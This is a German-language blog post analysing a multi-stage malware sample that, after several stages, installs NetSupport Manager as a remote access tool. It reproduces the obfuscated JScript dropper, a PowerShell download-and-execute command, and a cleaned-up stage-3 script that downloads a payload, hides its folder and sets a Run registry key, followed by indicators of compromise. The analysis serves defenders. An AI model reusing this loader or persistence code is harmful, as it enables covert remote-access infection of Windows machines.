DISCLAIMER

Das Herunterladen und ausführen von Malware, auch zum Zwecke der Analyse, ist gefährlich. Ich übernehme keinerlei Haftung für etwaige Schäden bei Nachahmung!

UPDATE
Neuere Varianten dieser Malware verteilen nicht direkt die jscript-Datei, sondern eine HTML-Datei, die im Javascript erst eine Zip mit dieser JScript-Datei baut!

Einführung

In diesem Blogeintrag möchte ich einen kleinen Einblick in die Analyse bzw. das reverse-eingineering von Malware geben. Hier anhand einer Beispielmalware, die über Mehrere Stufen letztendlich “NetSupport Manager” als Remote Access Tool (RAT) installiert.

Auf den ersten Blick scheint die Datei vergleichsweise harmlos, insbesondere wenn man z.B. in Windows nicht aktiviert hat, dass der Dateiname vollständig (inkl. Endung) angezeigt wird. Screenshot der Dateivorschau

Sollte ein Windows-User die Datei zum öffnen Doppelklicken, wird sie, statt wie zu erwarten im konfigurierten PDF-Viewer angezeigt zu werden, vom Windows Script Host mithilfe dessen JScript-Engine ausgeführt.

Stage 1

Die initial heruntergeladene Datei ist sehr stark Obfuscated, was das Reverse engineering deutlich erschwert. Ein relativ einfacher Trick ist hier jedoch, die eigentlichen Aufrufe, die die nächste Stage herunterladen wollen, so umzubauen, dass sie statt dem eigentlichen Aufruf jediglich den entsprechenden Code ausgeben:

LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk'));
FNwMBmgDjPdaInUxO[V1(0x39, 'bmzj')](V3(0x85, 'KWPY')) == ![] && CkMPuJXlbEaniIF[V3(0xac, 'ClZu')](PoHdrRpqKNwXVGyEDMO, V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0);

Hier erstellt die Malware ein ActiveXObjekt mit der nächsten Stufe und führt diese aus.

LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk'));
console.log(FNwMBmgDjPdaInUxO + V1(0x39, 'bmzj') + V3(0x85, 'KWPY')) ;
console.log(CkMPuJXlbEaniIF + V3(0xac, 'ClZu') )
console.log(PoHdrRpqKNwXVGyEDMO + V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0);

Der gleiche Teil des Codes, aber entschärft und mit print-Statements. Das “ActiveXObject” ist jetzt eine einfache Klasse mit String dahinter.

Wenn man diesen Code dann mithilfe von NodeJS ausführt, erhält man den folgenden Output:

remnux@remnux:~/Analysis/nitrogen-diet-florida-monkey$ node nitrogen-diet-florida-monkey.js
ShElL.APPlIcatioN
scriptIng.fIlesysTemobjeCt
[object Object]FolderExistsC:\userss
[object Object]ShellExecute
cmd/C POwerShElL -nop -w hidden -ep bypass -enc <BASE64String>  oPen 0

der Base64 kodierte String enthält diesen Powershellbefehl, der die nächste Stufe der Malware herunterlädt.

IEX (New-Object Net.Webclient).downloadstring("<STAGE3URL>")

Stage 3

Stufe 3 der Malware ist ein Powershell-Skript, das auch wieder obfuskiert ist, z.B. durch seltsame Groß/Kleinschreibung, String-Formatierung und großzügig verteilten `, die in Powershell als Escape verwendet werden (im Gegensatz zu den meisten anderen Sprachen, die \ verwenden). Zudem wurde der gesamte Code in eine Zeile geschrieben.

{rn`UM}=&("{2}{0}{1}"-f 'and','om','Get-R') -minimum 5 -maximum 9; ${r`Rn`UM}=&("{3}{2}{0}{1}"-f 'Rand','om','-','Get') -minimum 1024 -maximum 9999; ${CH`Rs}=("{8}{9}{6}{2}{10}{11}{12}{0}{14}{4}{13}{5}{3}{7}{1}" -f 'D','PRSTUVWXYZ','pstuvw','KLM','F','J','mno','NO','abcdefghi','jkl','x','yz','ABC','GHI','E'); ${R`STR}=''; ${r`An}=.("{0}{1}{2}{3}" -f'New-O','bje','c','t') ("{1}{0}{3}{2}"-f 'm.Ra','Syste','m','ndo');

Ausschnitt aus dem Originalcode

#!/usr/bin/env pwsh

&('cd') ${ENV:appdata}
${link} = "https://<payloadurl>/wp-content/plugins/giveme.php"
${rnum} = 5
${rrnum} = 1337
${chrs} = "abcdefghijklmnopstuvwxyzABCDEFGHIJKLMNOPRSTUVWXYZ"
${rstr} = ''
${ran} = .(New-Object System.Random)
for (${i} = 0
    ${i} -lt ${r`NuM}
    ${I}++) { ${rstr} += ${chrs}[${ran}.next.Invoke(0, ${chrs}."length")] }
${rzip} = ${rstr} + ".zip"
${path} = ${ENV:`APPDATA} + '\' + ${rzip}
${pzip} = ${ENV: APPDATA} + "\ONEN0TEupdate_"
write-host (Start-Bitstransfer) -Source ${link} -Destination ${path}
&(Expand-Archive -path ${path} -destinationpath ${pzip})
${fold} = &(Get-Item) ${pzip} -Force
${fold}.Attributes = Hidden
&(Remove-Item) -path ${path}
&('cd') ${pzip}
Write-Output Start client32.exe
${fstr} = ${ENV:appdata} + ".\ONEN0TEupdate_1337\client32.exe"
${rnm} = ONEN0TEupdate_1337
Write-Output New-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name ONEN0TEupdate_1337 -Value ${fstr}  -PropertyType String

Stage3, aufgeräumt und vereinfacht

Stufe 3 ist die Stufe, die letztendlich die eigentliche Payload herunterlädt. sowie einen Autostart-Registrykey erstellt. Bei der Payload handelt es sich um eine vorkonfigurierte Version von NetSupport Manager, die sich mit dem C2-Server verbindet.

IOCs

C2-Server

  • blahadfurtik.com:5222 (IP: 89.22.237.94 )

Lokal/Filesystem

  • Ordner mit dem Namen “ONEN0TEupdate_XXXX” in C:/Users/<USER>/AppData/Roaming/
  • Registry-Key unter HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run mit dem gleichen Namen wie der Ordner in Appdata und zu client32.exe in diesem zeigend

Verwendetes Sample: SHA256:00d87e984f0fcd2e8fb55e4b83d86027dac67fd073958a95cbc98961ab940f4b Quelle: bazaar.abuse.ch